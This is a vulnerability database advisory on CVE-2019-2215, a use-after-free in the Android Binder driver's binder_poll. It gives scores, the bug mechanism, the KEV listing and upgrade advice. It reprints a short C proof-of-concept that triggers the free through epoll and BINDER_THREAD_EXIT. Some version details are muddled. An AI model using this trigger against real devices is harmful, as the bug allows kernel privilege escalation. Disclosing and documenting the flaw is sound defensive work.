Google Android 4.4 Binder Driver binder_poll use after free

CVSS Meta Temp Score
CVSS is a standardized scoring system to determine possibilities of attacks. The Temp Score considers temporal factors like disclosure, exploit and countermeasures. The unique Meta Score calculates the average score of different sources to provide a normalized scoring system.
Current Exploit Price (≈)
Our analysts are monitoring exploit markets and are in contact with vulnerability brokers. The range indicates the observed or calculated exploit price to be seen on exploit markets. A good indicator to understand the monetary effort required for and the popularity of an attack.
CTI Interest Score
Our Cyber Threat Intelligence team is monitoring different web sites, mailing lists, exploit markets and social media networks. The CTI Interest Score identifies the interest of attackers and the security community for this specific vulnerability in real-time. A high score indicates an elevated risk to be targeted for this vulnerability.
6.4$0-$5k0.00

Summaryinfo

A vulnerability identified as critical has been detected in Google Android 4.4. This affects the function binder_poll of the component Binder Driver. The manipulation leads to use after free. This vulnerability is documented as CVE-2019-2215. The attack needs to be performed locally. Additionally, an exploit exists. You should upgrade the affected component.

Detailsinfo

A vulnerability was found in Google Android 4.4 (Smartphone Operating System). It has been rated as critical. This issue affects the function binder_poll of the component Binder Driver. The manipulation with an unknown input leads to a use after free vulnerability. Using CWE to declare the problem leads to CWE-416. Referencing memory after it has been freed can cause a program to crash, use unexpected values, or execute code. Impacted is confidentiality, integrity, and availability. The summary by CVE is:

A use-after-free in binder.c allows an elevation of privilege from an application to the Linux Kernel. No user interaction is required to exploit this vulnerability, however exploitation does require either the installation of a malicious local application or a separate vulnerability in a network facing application.Product: AndroidAndroid ID: A-141720095

The weakness was released 09/27/2019 as confirmed bug report (Website). It is possible to read the advisory at bugs.chromium.org. The identification of this vulnerability is CVE-2019-2215 since 12/10/2018. Attacking locally is a requirement. No form of authentication is needed for a successful exploitation. Technical details as well as a public exploit are known. The advisory points out:

As described in the upstream commit: “binder_poll() passes the thread->wait waitqueue that can be slept on for work. When a thread that uses epoll explicitly exits using BINDER_THREAD_EXIT, the waitqueue is freed, but it is never removed from the corresponding epoll data structure. When the process subsequently exits, the epoll cleanup code tries to access the waitlist, which results in a use-after-free.

After immediately, there has been an exploit disclosed. The exploit is available at bugs.chromium.org. It is declared as attacked. We expect the 0-day to have been worth approximately $5k-$25k. The code used by the exploit is:

#include <fcntl.h>
#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <unistd.h>

#define BINDER_THREAD_EXIT 0x40046208ul

int main()
{
		int fd, epfd;
		struct epoll_event event = { .events = EPOLLIN };

		fd = open("/dev/binder0", O_RDONLY);
		epfd = epoll_create(1000);
		epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
		ioctl(fd, BINDER_THREAD_EXIT, NULL);
}
The CISA Known Exploited Vulnerabilities Catalog lists this issue since 11/03/2021 with a due date of 05/03/2022:
Apply updates per vendor instructions.

Upgrading to version 3.8, 4.14 LTS or 4.9 eliminates this vulnerability.

The vulnerability is also documented in the vulnerability database at Exploit-DB (47463). Be aware that VulDB is the high quality source for vulnerability data.

Productinfo

Type

Vendor

Name

Version

License

Website

CPE 2.3info

CPE 2.2info

CVSSv4info

VulDB Vector: 🔍
VulDB Reliability: 🔍

CVSSv3info

VulDB Meta Base Score: 6.5
VulDB Meta Temp Score: 6.4

VulDB Base Score: 5.3
VulDB Temp Score: 5.1
VulDB Vector: 🔍
VulDB Reliability: 🔍

NVD Base Score: 7.8
NVD Vector: 🔍

CVSSv2info

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
VectorComplexityAuthenticationConfidentialityIntegrityAvailability
UnlockUnlockUnlockUnlockUnlockUnlock
UnlockUnlockUnlockUnlockUnlockUnlock
UnlockUnlockUnlockUnlockUnlockUnlock

VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍

NVD Base Score: 🔍

Exploitinginfo

Class: Use after free
CWE: CWE-416 / CWE-119
CAPEC: 🔍
ATT&CK: 🔍

Physical: Partially
Local: Yes
Remote: No

Availability: 🔍
Access: Public
Status: Attacked
Download: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

KEV Added: 🔍
KEV Due: 🔍
KEV Remediation: 🔍
KEV Ransomware: 🔍
KEV Notice: 🔍

Price Prediction: 🔍
Current Price Estimation: 🔍

0-DayUnlockUnlockUnlockUnlock
TodayUnlockUnlockUnlockUnlock

Exploit-DB: 🔍

Threat Intelligenceinfo

Interest: 🔍
Active Actors: 🔍
Active APT Groups: 🔍

Countermeasuresinfo

Recommended: Upgrade
Status: 🔍

0-Day Time: 🔍
Exploit Delay Time: 🔍

Upgrade: Android 3.8/4.14 LTS/4.9

Timelineinfo

12/10/2018 🔍
09/27/2019 +291 days 🔍
09/27/2019 +0 days 🔍
10/08/2019 +11 days 🔍
09/09/2024 +1798 days 🔍

Sourcesinfo

Vendor: google.com

Advisory: sa-20191030-01
Status: Confirmed
Confirmation: 🔍

CVE: CVE-2019-2215 (🔍)
GCVE (CVE): GCVE-0-2019-2215
GCVE (VulDB): GCVE-100-142991
scip Labs: https://www.scip.ch/en/?labs.20150917

Entryinfo

Created: 10/08/2019 07:27
Updated: 09/09/2024 22:29
Changes: 10/08/2019 07:27 (65), 09/25/2020 16:37 (2), 01/03/2024 18:44 (4), 01/03/2024 18:52 (1), 04/19/2024 15:55 (27), 06/09/2024 19:45 (1), 07/25/2024 18:24 (1), 09/09/2024 22:29 (1)
Complete: 🔍
Submitter: misc
Cache ID: 216::103

Submitinfo

Accepted

  • Submit #88: Android: Use-After-Free in Binder driver (by misc)

Be aware that VulDB is the high quality source for vulnerability data.

Discussion

No comments yet. Languages: en.

Please log in to comment.

Want to know what is going to be exploited?

We predict KEV entries!